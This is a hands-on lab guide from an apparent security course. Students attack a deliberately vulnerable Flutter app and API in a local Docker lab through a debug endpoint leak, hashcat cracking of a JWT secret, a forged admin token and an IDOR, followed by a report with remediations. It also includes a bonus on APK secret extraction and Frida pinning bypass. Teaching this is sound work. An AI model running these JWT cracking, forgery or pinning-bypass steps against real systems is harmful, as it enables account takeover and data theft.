Cloud, mobile and IoT — Hands-on lab
You stand up the M11 Docker lab and reproduce the demo chain without watching the demo. This is an autonomy exercise: you search, you doubt, you document.
What you will be able to do
- Attack a Flutter app (web or mobile) through the most common 2026 surface: client bundle + weakly configured backend API.
- Distinguish a short path (
/api/debug/env) from a long one (JWT cracking + forging + IDOR), and present both. - Write a five-section report with five concrete remediations.
Lab plan
- Start the lab
- Step 1 — visual reconnaissance
- Step 2 — static bundle analysis
- Step 3 — short path:
/api/debug/env - Step 4 — client-side bypass
- Step 5 — capture and decode the JWT
- Step 6 — crack HS256 with hashcat
- Step 7 — forge an admin token
- Step 8 — IDOR on
/api/users/:id - Step 9 — admin access, read the flag
- Report
- Checklist
- Bonus — the same chain on a real Flutter
.apk - Cleanup
Requirements
- Docker Desktop 4.x running.
- The
inskillsec-docusaurusrepo cloned locally. - A recent browser with DevTools.
- Roughly 3 GB of RAM and 4 GB of disk free.
Start the lab
cd inskillsec-docusaurus/labs/docker/module-11-mobile-flutter
docker compose up -d
Open http://localhost:8080 (the Flutter Web app) in your browser
and check the login shows up. Also verify the API health:
curl -s http://localhost:3000/api/health
Finally, open a shell on the Kali attacker:
docker compose exec attaquant bash
Step 1 — visual reconnaissance
In the browser, open DevTools' Network tab. Try any login (any email and password) and take note of the outgoing request. You must identify:
- The exact URL of the auth endpoint.
- The body format (JSON, fields
email/password). - The failure status code.
Write everything into your report.
Step 2 — static bundle analysis
From the Kali workstation:
curl -s http://app/main.dart.js > /tmp/main.dart.js
grep -E "API_BASE_URL|PREMIUM_API_KEY|DEBUG_ENDPOINT|api/admin" /tmp/main.dart.js
Three strings must come out. Write their value. Focus on
DEBUG_ENDPOINT: an API path the client code never openly calls,
but whose existence is revealed by the constant.
Step 3 — short path: /api/debug/env
Try the path you just discovered:
curl -s http://api:3000/api/debug/env
If you get a JSON with a field named M11_FLAG, you already have
the flag. Note it, but don't stop here. The point of this
workshop is to also execute the long chain.
Step 4 — client-side bypass
Back in the browser. Without being logged in, open the DevTools console:
localStorage.setItem('auth_token', 'x');
window.location.hash = '#/dashboard';
Watch: the dashboard renders for a fraction of a second. It then flips to "Session expired".
Document this behavior: the client guard was fooled, but the
server-side guard (GET /api/me) held. This is exactly the
anti-pattern we want to illustrate.
Step 5 — capture and decode the JWT
Register a normal account from the attacker shell:
curl -s -X POST http://api:3000/api/auth/register \
-H 'Content-Type: application/json' \
-d '{"email":"eve@lab.local","password":"anyPass1!","fullName":"Eve"}' \
| jq
Retrieve the token field. Decode its three parts:
TOKEN="<your token>"
echo "$TOKEN" | cut -d. -f1 | base64 -d 2>/dev/null; echo
echo "$TOKEN" | cut -d. -f2 | base64 -d 2>/dev/null; echo
The header must say HS256. The payload must contain your sub
(your id, probably 4) and role: user. Write it in your report.
Step 6 — crack HS256 with hashcat
Write the full token to a file:
echo "$TOKEN" > /tmp/token.jwt
Run hashcat. Mode 16500 corresponds to JWT:
hashcat -m 16500 /tmp/token.jwt /usr/share/wordlists/rockyou.txt
If rockyou.txt is not decompressed on your Kali, decompress it
first with gunzip /usr/share/wordlists/rockyou.txt.gz. The
expected word is short, hashcat finds it in under a minute.
Alternative without hashcat, more pedagogical, with a small handmade wordlist:
for cand in password secret s3cr3t s3cr3t2025 admin123; do
H=$(echo "$TOKEN" | cut -d. -f1)
P=$(echo "$TOKEN" | cut -d. -f2)
S=$(echo "$TOKEN" | cut -d. -f3)
E=$(echo -n "$H.$P" | \
openssl dgst -sha256 -mac HMAC -macopt "key:$cand" -binary | \
base64 | tr '+/' '-_' | tr -d '=')
[ "$E" = "$S" ] && echo "SECRET = $cand" && break
done
Step 7 — forge an admin token
With the cracked secret, forge a token that claims to be admin
(sub: 1) and never expires:
SECRET="s3cr3t2025"
H='{"alg":"HS256","typ":"JWT"}'
P='{"sub":1,"email":"admin@corp.local","role":"admin","iat":1700000000,"exp":9999999999}'
H_B64=$(echo -n "$H" | base64 -w0 | tr '+/' '-_' | tr -d '=')
P_B64=$(echo -n "$P" | base64 -w0 | tr '+/' '-_' | tr -d '=')
SIG=$(echo -n "$H_B64.$P_B64" | \
openssl dgst -sha256 -mac HMAC -macopt "key:$SECRET" -binary | \
base64 -w0 | tr '+/' '-_' | tr -d '=')
FORGED="$H_B64.$P_B64.$SIG"
echo "$FORGED"
Step 8 — IDOR on /api/users/:id
Without using the forged token, show that a simple user can already read the admin's data:
curl -s http://api:3000/api/users/1 -H "Authorization: Bearer $TOKEN" | jq
You must see a JSON containing the admin's email and cleartext password. Note that the token used is eve's, not the one you forged.
Step 9 — admin access, read the flag
Finally, the admin-only endpoint with your forged token:
curl -s http://api:3000/api/admin/config \
-H "Authorization: Bearer $FORGED" | jq
You must get a JSON whose flag field contains
FLAG-M11-FLUTTER-MOBILE-2026. Save the whole JSON in your report,
it acts as evidence.
Report
Write rapport/mobile-flutter-m11.md in the mounted volume
(/home/pentester/labs/rapport/) with five sections:
- Executive summary — two sentences: "starting from public access to the app, I obtained the reading of an admin endpoint and the extraction of a prod flag". Mention both paths.
- Short attack chain — the single command
/api/debug/envand why it is already critical. - Long attack chain — the nine steps above, each with a command and output.
- Weaknesses identified — five points: bundle secrets, weak HS256 JWT, IDOR, debug endpoint in prod, cleartext server-side password storage.
- Remediation — for each weakness, the expected action:
- Secrets — never in the client. A real backend for premium calls, a server-side key, per-user quotas.
- JWT — switch to RS256 with a key pair, keep the private key server-side. Or HS256 with a 32-byte random secret stored in a vault (AWS KMS, Doppler, Vault).
- IDOR — every
/:idendpoint must checkresource.owner === req.user.subor an explicit ACL. - Debug — simply remove it. No "debug" endpoint should go to prod. If necessary, gate it behind an internal-IP middleware.
- Passwords — bcrypt (cost 12+) or argon2id. No cleartext storage ever.
Checklist
-
docker compose up -dstarted with no errors,apiishealthy. - You found
API_BASE_URL,PREMIUM_API_KEYandDEBUG_ENDPOINTinmain.dart.js. -
curl /api/debug/envreturned the flag directly. - You demonstrated the client-side bypass in DevTools (dashboard renders briefly).
- You obtained a JWT via
/api/auth/registerand decoded the header and payload. - Hashcat (or your openssl loop) found
s3cr3t2025. - You forged a
role=adminJWT. -
/api/users/1disclosed the cleartext admin password. -
/api/admin/configwith the forged JWT returned the flag. - Your report contains the five expected sections.
Bonus — the same chain on a real Flutter .apk
If you want to go all the way to real mobile, here is the circuit outside the Docker lab:
flutter build apk --releaseproduces anapp-release.apkaround 15-25 MB. The compiled Dart code lives inlib/arm64-v8a/libapp.so.- Open the APK with
apktool d app-release.apk, thenstrings lib/arm64-v8a/libapp.so | grep -iE "api_key|secret|https". You find the same constants as here — that is exactly the same exit point asmain.dart.js. - For a structured dump:
reFlutter build app-release.apkthen dump withblutterorfrida-dexdumpto go further. - For certificate pinning bypass:
frida -U -f com.your.appwith a script that hooksboringssl::ssl_verify_peer_cert. Public scripts work as-is on most recent Flutter apps.
Deliver the whole thing as a separate report if you choose this bonus.
Cleanup
cd inskillsec-docusaurus/labs/docker/module-11-mobile-flutter
docker compose down -v
The -v flag removes the volumes; next time you'll start from a
fresh lab.